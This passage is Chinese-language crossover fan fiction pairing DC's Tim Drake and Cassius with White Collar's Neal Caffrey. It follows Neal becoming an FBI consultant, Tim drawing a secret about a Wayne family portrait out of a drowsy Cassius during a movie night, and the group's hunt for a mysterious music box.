“尼尔本性不坏，只是他一直没遇到过三观正常的人，所以才走上这条路。但他即便在道上成名这麽久，也从没伤害过任何一个人的性命。我希望他能在你的监管之下，走上一条更宽广的路，而不是越走越窄，最后走向死路。” 博克再次抬眼看向卡修斯，对方投向后视镜的神情非常真诚，这让博克都忍不住有些动容。 从卡修斯的眼神刻意看出，他是真心希望尼尔能越来越好的。 【你这样安排尼尔，他知道吗？】 博克问。 “他会同意的，如果有成为英雄的机会，谁又想成为一个盗贼呢？今天你也和他“共事”过一段时间，应该知道我是对的。” 【等他真的帮我们抓到“建筑师”再说吧。】 卡修斯看到短信，忍不住勾起嘴角。他知道，这就是这位FBI探员同意了他的请求的意思。 笑完他又察觉到不对劲了，现在自己处理问题的思路和方式怎麽和提姆越来越像了？ 车子很快开到了FBI总部，卡修斯拉着尼尔故意走的很慢，博克看了他们两眼，知道卡修斯要说服尼尔配合他们，于是故意带着其他探员走远了几步。 “你想办法帮博克探员抓住这次抢劫的主谋。”卡修斯对他说。 尼尔没什麽精神地看着他：“什麽？” 显然，他不是很感兴趣的样子。 卡修斯也不跟他多说，直接道：“凯特通过警员给你传递消息，说明纸条里暗示的‘绑架’他的人一定在警察内部，你利用这个案子，争取成为FBI的顾问，这样对你找凯特更有利。” “绑架”只是美化凯特同夥的一个说法，但以尼尔现在的状态，显然更能接受这样的说辞。 “你不劝我放弃了？”尼尔反问。 “我劝的动吗？”卡修斯翻了个白眼。 尼尔想了想，最终点头道：“好。” 卡修斯拍了拍他的肩，和他一起追上博克。 “还我。” 尼尔说。 “什麽？” “凯特给我的纸条。” 卡修斯拿出来，刚举到自己口鼻位置，就被尼尔一把拿走。 “举那麽高干什麽？” 尼尔瞪了他一眼，将纸条装进自己的口袋了。 卡修斯笑了笑，没说话，跟着他一起走进FBI的大楼。 虽然他笑着的，但内心感到一阵毛骨悚然。 在拿到纸条的时候，他就感觉到不对了。 他闻到纸条散发出来一种熟悉的淡香味，这种味道和初遇达米安时，他身上的味道很像，但又有些不同。 卡修斯知道，刺客联盟的高层都有独属于自己的，特殊的香。纸条上散发出的淡香，也许三天前的卡修斯还不能确定，但现在他非常肯定，那就是刺客联盟的高层独有的香料味道。 凯特这麽着急跳了出来，并且一上来就直奔主题，想要八音盒。而这张传讯的纸条又恰巧有刺客联盟的线索，让他很难不怀疑，这有冲着他来的成分。 卡修斯当然不会逃避。 他也想知道，八音盒所代表的财富里，到底有什麽东西是拉尔斯连死了都惦记的。 还有，这一次，凯特背后的那个人，到底是无意中暴露了自己刺客联盟的身份，还是特意来警告他的？ 他一直都觉得凯特·莫罗身份有异，但真的没想到，她居然和刺客联盟有关。 卡修斯始终温和的眼神深处淬了冰。 他现在想要彻底摧毁刺客联盟。 如果FBI能在里面提供一些助力，那就再好不过了。【你现在阅读的是 】 80-90 第81章 这算第一次约会？ 博克探员没有食言，他说服了自己的上司——休斯局长，让他同意尼尔参与到追捕“建筑师”的案件中。卡修斯作为单纯的证人，接受完问询后，被礼貌的请离了办公室。 刚走出FBI大楼，就看到提姆正抿着唇，双手抱臂，靠在送他过来的豪车上等自己。 虽然觉得自己没做什麽错事，但不知道为什麽，总觉得有些心虚。 “我才离开一会儿，你们俩就去给我干大事了，连FBI都能招惹，真行啊你。”提姆哼哼道。 卡修斯看到提姆这副故作成熟的样子就手痒痒，他忍不住伸手，揉乱了提姆被发胶固定的一丝不苟的头发。 “小小年纪，别老装成熟，你距离成为现在的布鲁斯·韦恩，至少还有十几年，着什麽急？” 在发胶的作用下，他的头发有些硬邦邦的，手感不太好。 提姆歪着头躲开他作乱的手，看着卡修斯问：“你到底是什麽事故体质？感觉好像你走到哪儿，哪儿就会出事。” “你可别污蔑我啊，纽约和哥谭的犯罪率不相上下，这可不是我造成的，我的前半生就没见过比烟花炸的更响的东西，就是来到这儿，别说抢银行了，连我自己都被RPG瞄准过，我上哪儿说理去？”卡修斯瞪着他据理力争。 卡修斯很少主动提起在另外一个世界的过去，提姆回忆了一下，感觉这应该算是他第一次在自己面前提起这个。 “你以前……” 他刚张口想问，你以前是做什麽的，过着怎样的生活，就看到博克和尼尔一块儿从FBI大楼里走了出来。提姆只好将这个问题暂时放下。 博克探员一边走，一边用目光将提姆和他身后的豪车打量了一番。等走到两人面前，提姆已经站直了，摆出一幅相当商务的姿态：“你好博克探员，我是提姆·德雷克-韦恩。” 彼特·博克心里微微吃了一惊。他早就听说韦恩集团有个年少有为的执行总裁，但是没想到提姆竟然这麽年轻。很少关注娱乐八卦的他，对韦恩家的人员构成并不是特别熟悉，听到他说自己姓韦恩，很自然的集中精神，准备迎接对方的问询。 他对这种老钱家族有种刻板印象，就是这些人都相当的傲慢，以为整个世界都是围绕着他们来转的。FBI直接将卡修斯和尼尔带到总部问话，理论上来说，并不符合程序，如果小韦恩以此为借口发难，也在他的意料之中。 但没想到这位小韦恩居然是位相当通情达理的人。 “配合警方和FBI的工作是我们普通市民应尽的义务，请博克探员不用紧张，只是我的朋友卡修斯·希尔性格温顺，没遇到过银行抢劫这种恶性事件，我担心他忧惧过度，所以才特意赶过来接他，你不用在意我。” 提姆面带微笑，一本正经的说。 彼特·博克和尼尔·卡夫瑞同时沉默了。 博克探员想的是：他一个在哥谭生活的人，你说他没遇到过抢银行这种恶性事件？你点谁呢？ 尼尔则想的是：你说的温顺是你们在哥谭酒吧拳打面具帮，脚踢黑俄罗斯黑邦吗？ 卡修斯看天看地看远处的风景，假装他们谈论的并不是自己。 “明天早上七点，我去找你。”博克探员提醒了尼尔一声，又礼貌的和另外两人道了别，这才转身往回走。 提姆打量了尼尔几眼，直接道：“走吧，回去再说。” 尼尔觉得提姆打量自己的眼神就像在看着一个惹祸精。天知道这次的事完全是卡修斯主动想要掺和进来的。 上车以后，卡修斯将遭遇银行抢劫的事简单和提姆说了一下，尼尔又把刚才在FBI得到的关于这次抢劫的信息描述了一番。 “我看了‘建筑师’留给银行的犯罪签名，根据签名得到一些线索，FBI已经通过我的线索锁定了这个人，不过目前没有证据，很难给他定罪。明天我和博克探员去会会这个团夥里面的另一个劫匪。只要抓到这个人，对方为了减刑，肯定也会把‘建筑师’供出来，FBI只要埋伏在他的公寓外，一得到口供和逮捕令，他们就可以抓人了。” 尼尔说话的时候带着一种连自己都没察觉到的得意。 “你们猜猜看被我们锁定身份的劫匪是谁？”尼尔这会儿心情很好，暂时忘了因为凯特的信息给他带来的愁苦。 卡修斯笑而不语。他是知道这段剧情的人，直接说出来，就不好玩了，于是他看向提姆。 “你觉得呢，小侦探？” 尼尔因为卡修斯对提姆的这个称呼，不由自主的提了提眉尾。 提姆看着他笑了笑，直接说道：“我没猜错的话，就是那个被劫持的安保主管芮妮·西蒙斯？” 尼尔的笑容消失了，他坐直了些，惊讶地问：“你怎麽知道？” “这个‘建筑师’在全国多个城市犯下所谓的完美劫案，利用银行的安保漏洞，成功洗劫多个银行金库，并且每次都能顺利逃亡。我恰巧对悬疑解谜类的内容感兴趣，所以稍微研究了一下。得出的唯一结论就是，他在银行有内应，劫匪里一定有银行工作人员。所以，当你们一说安保主管委托FBI进行安全漏洞测试，我就知道是她了，后来你们说劫匪刚好又劫持了她，让她带路去开金库，我就更加确定了她的身份。” 提姆风淡云轻的说。 卡修斯在他身后露出了老父亲般欣慰的微笑，看的尼尔浑身难受。 “你这是什麽笑容，好恶心！”尼尔嫌弃的推了他一把，继续说道，“据说这位银行主管非常爱岗敬业，受了这麽大的惊吓也没有请假，明天会坚持去上班，所以我和博克探员决定明天直接去跟她‘聊聊’。” 卡修斯想到这个女人在被揭穿后，孤注一掷地拿枪怼着博克和尼尔的场景。 他想提醒尼尔，但又觉得，凭借尼尔的聪明才智，一定能像原本的剧情一样化险为夷，自己也没必要多此一举，只委婉地说：“我们东方有句古话，兔子急了也会咬人，你们自己小心点。” “这是占卜师的箴言吗？” 尼尔玩笑道。 “你就当是吧。” 尼尔见过那位女主管，瘦瘦小小，看上去非常柔弱。他并不觉得自己和博克两个大男人会在那样一个柔弱的女性手里栽跟头，所以随意地点了点头，表示知道了。 三人再次抵达了提姆安排的公寓，尼尔没跟上去，直接和提姆说：“这段时间FBI的探员可能会找我，住在你这儿肯定不方便，我已经找到了新住处，就不和你们一块儿上去了。” 尼尔觉得琼太太简直是他的天使。卡修斯肯定不可能在纽约久留，一旦他离开纽约，自己再住在提姆·韦恩安排的公寓里，无论怎麽看，都觉得有些奇怪。现在有了琼太太提供的住处，这些问题都迎刃而解。 提姆惊讶的看向他：“你找到住处了？” 他对尼尔做过调查，知道他现在身上钱财有限，也知道以他的性格，肯定住不惯外面廉价的汽车旅馆。 “河滨大道87号，离这里也远。”卡修斯帮他回答了。 提姆再看向卡修斯，随后又笑了出来：“看来我不在的这一小段时间，你们两个的经历比想的还丰富。” “行，你走吧。”他朝尼尔挥了挥手，然后勾着提姆的肩，带着他往公寓楼里走，没走两步，他忽然回头，对尼尔说，“别忘了我的事。” 尼尔双手插兜，笑道：“知道了，这两天就会有消息，到时我来找你。” 说完，他的眼神自以为毫无察觉地，轻轻从提姆身上掠了一眼。 敏锐的罗宾立即感觉出些异样。 等到两人上楼以后，提姆才问：“你想让尼尔帮你做什麽事？不会是违法乱纪之类的吧？” 卡修斯将语气放的很随意：“想什麽呢？我是那种人吗？尼尔是金融和艺术品犯罪大师，这两样都跟钱有关，你也看出来了，我是个视金钱如粪土的人，怎麽会为了钱犯罪？” 提姆呵呵一声，非常友善的纠正：“不是你视金钱如粪土，而是金钱视你如粪土。” 卡修斯气节，他瞪着提姆：“还能不能好好说话了？” 提姆点头：“能啊，所以你能不能告诉我，你想让尼尔帮你做什麽？除了犯罪方面，我觉得他能办到的，我也能办到啊。” 卡修斯走到提姆面前，微微弯腰看着正仰靠在沙发后背，用审视的表情看着他的提姆，神秘地笑了笑：“你这是吃醋了吗？” 提姆耸了耸肩：“你就当是吧。” 他承认的这麽干脆，倒是让卡修斯毫无准备的词穷了一下，随即直起身，敷衍道：“哎呀，别问了，总之不是什麽要紧的事儿。” 提姆有点不相信。如果不重要，就算他和尼尔是朋友，也不至于大费周章地一定要把他从联邦最高监狱弄出来。 但他也知道，现在逼问卡修斯，自己也得不到什麽答案，所以点头道：“刚好，我也有点事要尼尔帮忙，等他下次来找你的时候，我跟你一块儿，顺便把我的疑惑也解决了。” 卡修斯警惕的看着他：“什麽事？” 提姆也注视着他，慢慢说道：“我是想问，他为什麽要仿造韦恩家先祖的肖想画。” 卡修斯：…… “先上去再说吧。”他适时地转移了话题。 提姆看到他的反应，暂时也没有继续追问。 等到了公寓后，卡修斯直奔沙发，直接瘫在了上面。 “啊……” 他发出一声满足的叹息。 不知道是他累了还是怎样，感觉这个沙发真的超舒服，感觉自己就像是趴在云朵上。 提姆看着他眯着眼享受的样子，问道：“要不要给你的店里也放一个？” 卡修斯抬起眼皮瞪了他半眼。 “算了吧，我那儿可没有那麽大的空间。” “我可以帮你把隔壁也租下来，两个商铺中间打通，这样不是就解决了空间问题？” 卡修斯坐起来，笑着问：“哇，韦恩少爷真是财大气粗，您是以什麽身份租下隔壁呢？如果是投资人的话，以我的店现在的营业额，可实在是没什麽必要，你不是说你是优秀的资本家麽，这可不像是资本家能做出的决定。” 提姆莞尔：“就不能以朋友的身份吗？” 他一边说，一边脱掉身上的西装，又拉松领带，去到衣帽间换衣服。 卡修斯婉拒：“没必要，真的没必要。” 提姆从衣帽间探出半个脑袋：“我也就随便说说，不要就算了，不用这麽用力的拒绝我。” 当然要拒绝，无功不受禄，而且现在他越来越觉得像是被提姆少总给包养了。 提姆·得雷克-韦恩，虽然不是布鲁斯·韦恩亲生的，但完美继承了他的钞能力。 “等一下，你穿成这样做什麽？” 卡修斯拧眉看着他，狐疑地问。 提姆已经换掉了他的西装，现在正穿着一套藏青色丝绸质地的分体睡衣，看上去像是要在这里过夜的样子。 提姆摊了摊手：“当然是住在这里。” 卡修斯：…… “你是故意的？” 提姆已经抱着他的计算机坐在了客厅的餐桌前。 “明天一早在纽约分公司有个客户要见，本来已经让秘书帮我订好了酒店，但尼尔不是说不留宿，刚好我就可以住下来。这年头生意不好做，就算姓韦恩，也不能随意挥霍，降本增效，从我做起。” 提姆理直气壮的说。 卡修斯呕了一声。 “你怎麽了？” 卡修斯翻着白眼：“打工人听不了‘降本增效’四个字，你给我收回！” 提姆饶有兴趣地看着他，猜测卡修斯在自己的世界应该也是一个兢兢业业的小白领。 “我记得你应该还在读高中吧，难道你不用去学校的吗？还有，你住在这儿，你的夜间工作怎麽办？”卡修斯问。 时间管理大师提姆适时为他解惑：“高中的课程我都自学完成了，只要不缺席考试就可以，有些不懂的知识点可以回看学校的网课。”提姆停顿了一下，继续说，“至于你说的夜间工作，现在不是有达米安麽？” 卡修斯“咦”了一声，他认真看着提姆的表情，不确定他说的到底是不是真心话。 “你要把罗宾的位置让给达米安？” 他问。 印象中，提姆是非常看重罗宾这个身份的，所以当迪克决定让达米安成为他的罗宾时，他会那麽愤怒的砸了自己在韦恩庄园的整个房间。 “不是让，只是我们说好了，一三五由我跟着B夜巡，二四六让他来。周日嘛，就让布鲁斯享受一下他愉快的孤独时刻吧。” 提姆说这话的时候，一边还在看计算机，人淡如菊。 看上去像是真心的，但提姆向来是个伪装大师。不过卡修斯现在也吃不准提姆到底在想什麽。 “罗宾这个身份对你来说那麽重要，你真的舍得把它慢慢让渡给达米安吗？”斟酌了一会儿，卡修斯还是问出来，并且在提姆刚想继续回答他的时候说，“我要听真心话，提姆，敷衍或者在我面前假装豁达的话，你还不如现在就去住酒店。” 提姆终于把眼睛从计算机移到了卡修斯身上，对方正用严肃的眼神看着他。 提姆短暂地将计算机合起来，叹了口气：“好吧，我承认，心里确实有些难过的。罗宾这个身份几乎是我付出了全部，才得到的，可达米安想要得到这一切却不费吹灰之力。” 卡修斯沉默了。 “但这也是没办法的事。”提姆耸了耸肩，“迪克放弃罗宾披风的时候，还没成年，杰森更是……，这大概就是天意，所以我也没有特别失望。” 看卡修斯的表情还是很严肃，提姆笑道：“那麽沉重做什麽？” 卡修斯也不知道说些什麽才能填补提姆的失落。 “我最近已经在思考，是不是需要换一个身份来继续我的夜间事业。我不可能永远都是罗宾。”提姆呼出一口气，轻松地说。 “换个身份？”卡修斯重复道。 提姆点头：“达米安被当做杀手养大，即便他现在已经在很努力压抑自己的天性，但看得出，他骨子里被养出来的残暴和嗜血时不时地蠢蠢欲动，他需要‘罗宾’这个身份来约束他的行为。布鲁斯会是个好老师的。” 说着，他又笑了笑：“而且，如果我不再是罗宾，希望杰森能少讨厌我一些，毕竟被自己以前崇拜过的偶像讨厌，还是挺让人伤心的。” “那你呢？”卡修斯忽然问。 “我？” “是啊，你考虑了所有人，唯独没有说到自己。”卡修斯说。 “我……” 他刚想说话，卡修斯再次打断他：“你可千万别说‘我不重要’这种蠢话，我会忍不住锤你。” 提姆顿了顿，然后忍不住笑出了声。看来他本来确实打算这麽说的。 “我还有你啊。”提姆说，“如果我一直是蝙蝠羽翼下的罗宾鸟，又怎麽能和你在一起呢？” 卡修斯：…… 说过了，不要突然表白！ 他想到自己想要找莫兹的目的，有些心虚地移开眼。 “今晚我睡沙发？”卡修斯又开始了他娴熟的话题转移大法。 提姆又打开计算机屏幕，盯着屏幕上的数据仔细研读。他已经习惯了卡修斯的转移话题，而且知道，通常这就是他害羞的表现。所以提姆也没有得寸进尺，而是顺着卡修斯的问题说了下去。 “不用，我要处理工作到很晚，你睡卧室，我累了的话在沙发上稍微眯一下就行。” 卡修斯本来想叮嘱他别从沙发上掉下来，但低头看了看宽敞的沙发面，觉得自己真的说出来，反而坐实了自己故意转移话题，没话找话的尴尬。 卡修斯站起来打算活动活动腿脚，他走到提姆身旁，翻了翻他堆在手边的数据，发现这不是什麽公司文档，而是一份调查报告。 “我能看吗？”卡修斯问。 “当然可以。不能让你看的东西我都不会带回来。”提姆笑着回道。 卡修斯不打算理他，直接拿起了那叠打印出来的报告。 这是一份来自大都会的私人侦探的调查报告，大都会也有儿童失踪案，但这些孩子最终失踪的地点指向布鲁德海文，所以被迪克并入布鲁德海文的儿童失踪案一起调查。 提姆正是在帮迪克分析这些文档。 卡修斯看了一会儿，也坐了下来，打算仔细研读。 他总觉得这个故事走向让他有种莫名的熟悉感，但就是不知道到底熟悉在哪儿。 毕竟他那些刊物已经是好多年之前的事了。 他觉得这件事儿还挺重要的，感觉自己必须得想起来，但是越着急，越觉得脑子里一片空白。 提姆很快发现了他的不对。 “别看了，休息一会儿吧。”他抽掉卡修斯手中的文档，说。 “我总觉得我该记得这些的……”卡修斯低声说。 因为涉及到儿童，总是让人揪心，卡修斯希望自己能多想起来些东西，这样也能早些找到这些孩子。 提姆看着卡修斯苍白的脸色，温声劝到：“不用着急，说不定睡一觉就能想起来呢？” 说着，他拉着卡修斯走回沙发，两人一起坐了进去。 提姆调暗灯光，又打开投影仪，巨大的投影幕布上立刻光影流转。 投影仪上正在播放的是一部节奏舒缓的青春片。随着盲眼男主角的邀请，女孩将手搭在他的手上，音乐响起，是让人熟悉的经典曲目《一步之遥》 “你不是说要通宵工作，还在这儿摸鱼？”卡修斯想站起来，被提姆按着坐了回去。 “一部电影的时间还是耽误的起的。”提姆说，“而且，没记错的话，这应该是我们第一次一起过夜。美好的约会时间？” 卡修斯一听这个，更坐不住了，恨不得站起来立刻离提姆800米远。但提姆却像是知道他会是这个反应似的，提前攥住了他的胳膊。 “放轻松，我向你保证，只是一起看电影而已，这本来就是我今晚的计划之一。” 说着，提姆从他的睡衣口袋里掏出一个本子，上面记着一串todolist，然后他在“一起看一场电影”那一行，打了个勾。 卡修斯：“你这是什麽奇怪的todolist？” “恋人必须要做的事啊，我从网上收录的。”提姆理所当然地说。 卡修斯：“第一，我们还不是恋人，第二，你是村网通吗？这上面的东西好多都已经过时啦！” 卡修斯看着那些list上一些非常中二的条目，一想到这就是提姆以后谈恋爱打算和自己一起做的事，就尴尬到脚指头都能抠出一个蝙蝠洞。 “我不管，反正我都要做。”提姆趁卡修斯想要抢自己的本子之前，先一步将本子再次收了起来。 “享受电影时刻吧。我也忙了一天，刚好趁机休息一会儿。” 说着，提姆往后坐了坐，整个人靠在了卡修斯身上。 卡修斯无奈，只能让他靠着。 这部电影卡修斯以前也看过，重温对他来说虽然也别有风味，但在昏暗灯光和旁边还有个均匀呼吸声的影响下，让他觉得分外困倦。 很快，他的眼皮眨动的也越发缓慢了。 就在卡修斯半只脚踏入梦乡，一时最为松懈模糊的临界点时，身旁传来提姆可以放得又轻又缓、仿佛只是闲聊般的声音。他说话的声调对现在的卡修斯来说，如同羽毛搔刮在混沌的神经末梢： “卡修斯……” “嗯？”他低低应了一声，声音带着浓重的睡意，含糊不清。 “尼尔要韦恩先祖的肖像画做什麽？”他轻声问。 尼尔·卡夫瑞高超的仿造技术几乎可以称作是艺术品，值得让他下手的，无一不是在国际上都名声斐然的著名画作——当然，他仿画的最终目的是用自己的画调换真品。 所以提姆实在想不通，他为什麽会对韦恩庄园的这幅画感兴趣。说实话，这幅画的原作都不如尼尔随便仿一幅名画值钱。 卡修斯即便睡着了，还保有一丝警惕，虽然这丝警惕也已经摇摇欲坠了。 “他本来是打算偷的……不过我劝过他了。”卡修斯的声音软绵绵的，语速很慢，“所以他放弃了……无论他原本打算是什麽，放弃了就算了吧……别追着不放了。” 提姆的呼吸几乎都要屏住了，但他的眼睛亮的惊人。虽然他的身体还保持着放松地靠着卡修斯的姿势，声音却更加轻柔，单着循循善诱的魔力追问道：“放弃了就好，韦恩庄园的安保可不是他能对付的。我只是好奇，那幅画……有什麽特别？值得他这样的人动心思？韦恩庄园比它值钱的东西可多的是。” 大概是提姆的声线对卡修斯来说太可靠了，他本人也是卡修斯最信任的人之一。 “大概……他怀疑……”卡修斯的头微微歪向提姆这边，呼吸均匀绵长，“怀疑……那副肖像画里的人……是布鲁斯本人……吧。” 第82章 恃爱行凶 话音落下后，卡修斯感觉到自己靠着的肩膀忽然变得僵硬起来。 电影进行到高/潮部分，男主角在法庭上为那个孤立无援的孩子辩护：“他选择了对的路，充满原则，别毁了它，保护它。*” 卡修斯感觉到自己的困意好像也被这慷慨激昂的台词给叫醒。他的眼皮不情愿地颤抖了几下，终于缓缓抬起，精神也逐渐清醒过来。 他转过头，对上提姆近在咫尺的脸。 幕布对光线的漫反射将提姆的脸部轮廓勾上一层浅色的柔光，此刻，那蓝眼睛正闪烁着洞悉一切的了然和专属于侦探的专注审视。 他静静地回望着卡修斯，像是早已知晓答案。 卡修斯觉得自己应该生气的，什麽电影之夜，什麽谈恋爱的todolist，统统都是借口。提姆做这一切的最终目的就是诱供，他利用了自己对他的信任和宽容。 但奇怪的是，他发现自己气不起来。而且非但不生气，他还对提姆这种剑走偏锋，利用一切能利用的优势来探究答案的行为带有一种奇怪的欣赏。 完蛋，自己的精神好像都被这个世界摧残的不正常了。或者是被尼尔的恋爱脑给传染了？ “你可真行啊，我这麽相信你，你就这样算计我？” 卡修斯哼道。 听到他语气中的纵容，表面镇定，但事实上一直提着心的提姆终于悄悄松了口气。 他这麽做确实有愧于卡修斯对他的信任，他都已经做好了对方大发雷霆的准备，但没想到卡修斯还是选择了纵容他。 除了卡修斯目前不愿亲口承认的喜爱，他想不出还有什麽别的原因。 “对不起，你总是回避这个问题，而这又事关韦恩庄园，我太想知道答案了。”提姆陈恳地道了歉。但是如果让他再选一次的话，他依然会这麽做。 这会儿卡修斯的瞌睡已经跑到了九霄云外，他坐直了身体，又侧过身面对提姆：“尼尔现在有更重要的事，可能早就想不起来这幅画，这就够了。” “对他来说，这件事结束了，但对我来说，这才是刚刚开始。我专门去韦恩庄园找到了这幅画，的确发现一些奇怪的地方，来问你，只是想确定一下我的猜测。” “什麽猜测？” “我猜你早就知道这件事。刚才你说的那些话，不是尼尔告诉你的，而是你自己的猜测，对吗？” 提姆说。 卡修斯无奈地看着他：“有时候真想把你脑子挖出来看看到底是用什麽做的。虽然你不能读到我的心声，但你能知道的一点都不比其他能读到我在想什麽的人少。” 真是一点安全感都没有。 说完，卡修斯不自在的挠了挠脸，有些嫌弃地看着提姆：“你到底什麽时候回哥谭，我现在真的很需要一些私人空间。” 他将“私人”这个词咬的很重。 提姆自然地捉住他的手，用拇指和食指捏着他的手指关节把玩：“明天一早。我去这边公司见完一个客户，直接飞回哥谭。所以别嫌我烦，我们真正在一起的时间不算多。” “好吧，那我就再忍耐你一晚上。”卡修斯哼道。 说着，就想要回屋睡觉，却被提姆拽着手指不放：“等一下，别你开没回答呢。” 卡修斯装傻：“什麽？” “涉及韦恩庄园，我必须谨慎，那里的每一个人，都对我很重要。” 提姆解释。 卡修斯歪着头问：“包括达米安？” 提姆学着他歪头的样子：“当然。” 说罢，他又补充了一句：“虽然他又傲慢又专横，还疑似有严重的认知问题，但韦恩庄园里，除了阿尔弗雷德，谁没病呢？达米安是布鲁斯的儿子，我的兄弟，他和迪克，杰森没有区别，对我来说都是非常重要的人。为了保护他们，我会付出一切，当然，我相信他们也会如此。” 卡修斯欣慰地点了点头：“好好好。” 提姆疑惑地看着他，说：“难道在你的世界，我和达米安的关系不太好？” 岂止是不好，这个阶段的你们简直是你死我活，水火不容。 不用他回答，提姆已经从他的表情得到了答案。 不过他也不执着于答案，转而说：“别再转移话题了。” “是，我是知道。”卡修斯坦然地承认。提姆已经有了猜测，自己也没什麽否认的必要。如果条件允许的话，他甚至想剧透布鲁斯会失踪的原委。他是不想说吗？实在是说不出来。 提姆点了点头，了然道：“我知道了。” 他的想法是，如果那幅画像真的是布鲁斯，那就说明，在未来的某个时间点，布鲁斯会穿越回到过去。 布鲁斯绝对不会主动穿越，那最有可能的就是遇到了重大的变故。 这是一个很重要的信息，那幅画也肯定是穿越回到过去的布鲁斯为他们留下的重要信号。只等着他们在某一天发现，也许就是现在。 他知道卡修斯不能透露更多关于未来的信息，所以提姆也不打算问，正准备让他去休息，脑子里忽然闪过一束光。 尼尔仿造这幅画，就说明他见过真品，所以他想利用仿画换走真画的目的，跟金钱无关，只跟好奇心有关。 谁又能通过一幅画来解决他的好奇心？卡修斯又为什麽一定将尼尔从联邦高级监狱保释出来？ 唯一有可能的解释就是，卡修斯想要通过尼尔，找到一个可以跟他解释时间或者空间旅行的人。 他之所以要利用尼尔的关系去了解这个，而不是布鲁斯或者自己的关系，是因为他不想让自己知道他在调查这个。 为什麽？ 提姆心里已经隐约有了一个答案。一个不会让他高兴的答案。 “还有什麽问题吗？” 卡修斯故意在他面前打了个浮夸的哈欠问道。 提姆微笑着摇了摇头。 卡修斯很自然的将手指从提姆的手里抽出来：“那我去睡觉了，年纪大了，熬不了夜……” 卡修斯走进卧室，关门前还探出头：“晚安，提宝。” 说罢，卧室门轻轻合上了。 提姆独自坐在昏暗的客厅里，电影已经演完了，投影幕布开始播放片尾曲和工作人员名单，反射在他脸上的光也彻底暗了下来。 卡修斯迅速爬上床躺好，在客厅里表现出来的困意已经荡然无存。 刚才提姆的表情忽然不太好看。几乎是条件反射的，卡修斯就意识到，面前这位侦探说不定已经猜到了自己来纽约找尼尔的最终目的。 所以他赶紧借口困了，回到卧室。 他无意识地摩挲着刚才一直被提姆把玩的手指，非常迟钝的想到，刚才两人的举动是不是太亲密了？怎麽自己一点知觉都没有？他的神经被恐龙调换了吗？ 卡修斯严重怀疑自己被提姆温水煮青蛙了。 他觉得自己得加快对付刺客联盟的进度——在被提姆彻底消磨掉意志之前。 不过要对付刺客联盟，恐怕还是要从八音盒入手。 还有，大都会和布鲁德海文的失踪案到底是怎麽回事？死脑子，快给我想啊！ …… 阳光透过没拉严实的窗帘缝隙，在地板上投下一道耀眼的金线。卡修斯睁开眼，意识还有些混沌。 他起身从卧室走到客厅，房间里干干净净，提姆的气息似乎还隐约残留，但人已经不在了。 茶几上，一张便签纸被一个空了的咖啡杯压着。 卡修斯走过去，拿起便签，上面是提姆锋利流畅的字迹： 【关于昨晚，抱歉用了点“侦探技巧”。不过你放心，暂时不会惊动布鲁斯。PS：早餐在厨房保温——T.D】 便签的右下角，还用咖啡渍晕染开，画了一个小小的R。 他走进厨房，果然看到保温板的餐盘上放着一份制作的卖相一言难尽的贝果三明治。 鸡蛋被煎的乱七八糟，但看着垃圾桶里好几坨焦黑的东西，他知道提姆已经尽力了。 卡修斯想起昨晚在提姆的todolist上看到的一条：【为对方做一次爱心早餐。】 “小土狗。”卡修斯微笑着低声骂了一句。 不过现在快要中午了，这可不是早餐，他不承认。 他看着乱糟糟的鸡蛋上用番茄酱精心挤的爱心……嗯，打破了蝙蝠家除了杰森都不会做饭的刻板印象。对提姆来说，这应该是超常发挥了吧。 卡修斯笑了一声，研究了一下旁边的咖啡机，帮自己冲了一杯香醇的卡布基诺。 久违的，没有任何突袭、战争和对抗的上午让卡修斯感觉神清气爽。他觉得自己好像已经很久没有纯粹的享受这种属于普通人的舒适和安宁。 这份早餐虽然卖相难看，但味道勉强过得去，卡修斯慢悠悠地吃着早餐，享受着阳光和咖啡。什麽超级英雄，刺客联盟，好像都离自己远去了。 门铃声打破了这份宁静。卡修斯起身开门，门外站着尼尔·卡夫瑞，他穿着一身剪裁完美的炭灰色西装，深蓝色衬衫的领口随意地解开一颗扣子，脸上带着那种独属于他的，又混合着意气风发的光彩。 “上午好，占卜师先生。”尼尔嘴角扬起一个堪称耀眼的笑容，又将手中的红酒在他面前扬了扬。 卡修斯将他让进来：“让我猜猜，芮妮·西蒙斯落网，你们也抓到了建筑师？” 尼尔点头：“猜的不错。” 他慢悠悠地走进来，扫了一眼桌上的早午餐，对卡修斯住在这麽昂贵的公寓却吃这麽丑的早餐感到了一丝困惑。 不过这不重要，重要的是他带来的消息。 “案子破了，彼特已经向上级申请，让我作为精英罪案组的特别顾问，协助FBI侦破和金融与艺术品相关的案件。” 说着，他从客厅的水吧拿出两支酒杯，给卡修斯和自己分别倒好酒，用食指抵着杯子的底部推到卡修斯面前。 “彼特说这是他和你说好的。”尼尔看着他，真诚地说，“有了这个身份，对于我后续找凯特和……她背后的人，容易很多。谢谢你。” 卡修斯捏住杯柄，和尼尔轻轻碰了一下杯，说：“也不用这麽快谢我，说不定我对你另有所图呢？” 尼尔将杯中的红酒一饮而尽：“你是说那个八音盒？你要也是为那个而来的话，可能要失望了。” “我知道，它不在你手里。”卡修斯直接说。 尼尔诧异地挑了挑眉：“所有人都以为它在我手里，就连凯特也……” 提起凯特的时候，他的脸上还是难掩复杂的情绪。 卡修斯神秘地笑了笑：“我不但知道它不在你手里，还知道它在哪儿。” 尼尔原本慵懒地倚着吧台，听到他这样说，不禁直起了身体。 传闻那个八音盒隐藏着一个宝藏的秘密，所有盗贼都为这个传说趋之若鹜。当初他离开纽约，就是为了去偷这个八音盒——原本要带凯特一起去的，但她不愿。自己不愿放弃这次机会，就和自己的老搭档爱丽克丝一块去。可当初计划是按照三个人做的，少一个人的队伍最终铩羽而归，爱丽克丝甚至为此受了很严重的伤。 但不知道为什麽，道上依旧流传出八音盒已经被他得手的消息，为了扬名，尼尔默认了这个说法，以至于连凯特都以为这个八音盒在他的手里。 “你怎麽知道的？”尼尔好奇地问。 卡修斯摇了摇手指：“难道你忘了，我是干什麽的？找东西，我最擅长了。” “在哪儿？”尼尔紧接着问。 卡修斯说：“我已经帮了你这麽多，那我拜托你的事呢？” “我来就是请你去我那儿的。我已经和莫兹说好了，他现在应该正在我住的地方等着我们。”尼尔立刻笑说，“莫兹一直对八音盒里藏着的秘密感兴趣，如果想要破解八音盒的秘密，也少不了他的帮助。” 两人不再耽搁，卡修斯随便吃了两口，就和尼尔一起离开了公寓。 